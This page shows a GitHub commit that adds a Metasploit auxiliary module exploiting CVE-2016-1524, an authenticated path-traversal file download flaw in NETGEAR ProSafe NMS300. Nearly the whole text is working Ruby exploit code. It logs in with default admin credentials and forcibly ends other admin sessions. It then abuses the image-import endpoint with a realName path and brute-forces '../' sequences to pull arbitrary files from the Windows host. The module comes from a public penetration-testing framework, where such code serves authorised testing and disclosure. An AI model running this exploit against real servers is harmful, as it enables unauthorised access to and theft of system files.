Skip to content

Commit 53ff305

Browse files
committed
Land rapid7#6531, NETGEAR ProSafe Network Management System 300 auth'd File Download
2 parents 7731fbf + bc05041 commit 53ff305

File tree

1 file changed

+224
-0
lines changed

1 file changed

+224
-0
lines changed
Lines changed: 224 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,224 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
16+
'Description' => %q{
17+
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
18+
The application has a file download vulnerability that can be exploited by an
19+
authenticated remote attacker to download any file in the system..
20+
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
21+
},
22+
'Author' =>
23+
[
24+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2016-1524'],
30+
['US-CERT-VU', '777024'],
31+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
32+
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
33+
],
34+
'DisclosureDate' => 'Feb 4 2016'))
35+
36+
register_options(
37+
[
38+
Opt::RPORT(8080),
39+
OptString.new('TARGETURI', [true, "Application path", '/']),
40+
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
41+
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
42+
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
43+
], self.class)
44+
45+
register_advanced_options(
46+
[
47+
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
48+
], self.class)
49+
end
50+
51+
def authenticate
52+
res = send_request_cgi({
53+
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
54+
'method' => 'POST',
55+
'vars_post' => {
56+
'userName' => datastore['USERNAME'],
57+
'password' => datastore['PASSWORD']
58+
},
59+
'vars_get' => { 'method' => 'login' }
60+
})
61+
62+
if res && res.code == 200
63+
cookie = res.get_cookies
64+
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
65+
# another admin is logged in, let's kick him out
66+
res = send_request_cgi({
67+
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
68+
'method' => 'POST',
69+
'cookie' => cookie,
70+
'vars_post' => { 'singleId' => $1 },
71+
'vars_get' => { 'method' => 'loginAgain' }
72+
})
73+
if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
74+
return nil
75+
end
76+
end
77+
return cookie
78+
end
79+
return nil
80+
end
81+
82+
83+
def download_file (download_path, cookie)
84+
filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
85+
begin
86+
res = send_request_cgi({
87+
'method' => 'POST',
88+
'cookie' => cookie,
89+
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
90+
'vars_get' => {
91+
'method' => 'add'
92+
},
93+
'vars_post' => {
94+
'realName' => download_path,
95+
'md5' => '',
96+
'fileName' => filename,
97+
'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
98+
'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)),
99+
'deviceType' => rand(999),
100+
'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
101+
'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
102+
},
103+
})
104+
105+
if res && res.code == 200 && res.body.to_s =~ /"success":true/
106+
res = send_request_cgi({
107+
'method' => 'POST',
108+
'cookie' => cookie,
109+
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
110+
'vars_get' => {
111+
'method' => 'getPageList',
112+
'type' => 'configImgManager',
113+
},
114+
'vars_post' => {
115+
'everyPage' => 500 + rand(999)
116+
},
117+
})
118+
119+
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
120+
image_id = $1
121+
return send_request_cgi({
122+
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
123+
'method' => 'GET',
124+
'cookie' => cookie,
125+
'vars_get' => {
126+
'method' => 'export',
127+
'imageId' => image_id
128+
}
129+
})
130+
end
131+
end
132+
return nil
133+
rescue Rex::ConnectionRefused
134+
print_error("#{peer} - Could not connect.")
135+
return
136+
end
137+
end
138+
139+
140+
def save_file(filedata)
141+
vprint_line(filedata.to_s)
142+
fname = File.basename(datastore['FILEPATH'])
143+
144+
path = store_loot(
145+
'netgear.http',
146+
'application/octet-stream',
147+
datastore['RHOST'],
148+
filedata,
149+
fname
150+
)
151+
print_good("File saved in: #{path}")
152+
end
153+
154+
def report_cred(opts)
155+
service_data = {
156+
address: rhost,
157+
port: rport,
158+
service_name: 'netgear',
159+
protocol: 'tcp',
160+
workspace_id: myworkspace_id
161+
}
162+
163+
credential_data = {
164+
origin_type: :service,
165+
module_fullname: fullname,
166+
username: opts[:user],
167+
private_data: opts[:password],
168+
private_type: :password
169+
}.merge(service_data)
170+
171+
login_data = {
172+
last_attempted_at: DateTime.now,
173+
core: create_credential(credential_data),
174+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
175+
proof: opts[:proof]
176+
}.merge(service_data)
177+
178+
create_credential_login(login_data)
179+
end
180+
181+
182+
def run
183+
cookie = authenticate
184+
if cookie == nil
185+
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
186+
else
187+
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
188+
report_cred(
189+
user: datastore['USERNAME'],
190+
password: datastore['PASSWORD'],
191+
proof: cookie
192+
)
193+
end
194+
195+
if datastore['FILEPATH'].blank?
196+
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
197+
return
198+
end
199+
200+
filepath = datastore['FILEPATH']
201+
res = download_file(filepath, cookie)
202+
if res && res.code == 200
203+
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
204+
save_file(res.body)
205+
return
206+
end
207+
end
208+
209+
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
210+
count = 1
211+
while count < datastore['DEPTH']
212+
res = download_file(("../" * count).chomp('/') + filepath, cookie)
213+
if res && res.code == 200
214+
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
215+
save_file(res.body)
216+
return
217+
end
218+
end
219+
count += 1
220+
end
221+
222+
print_error("#{peer} - Failed to download file.")
223+
end
224+
end

0 commit comments

Comments
 (0)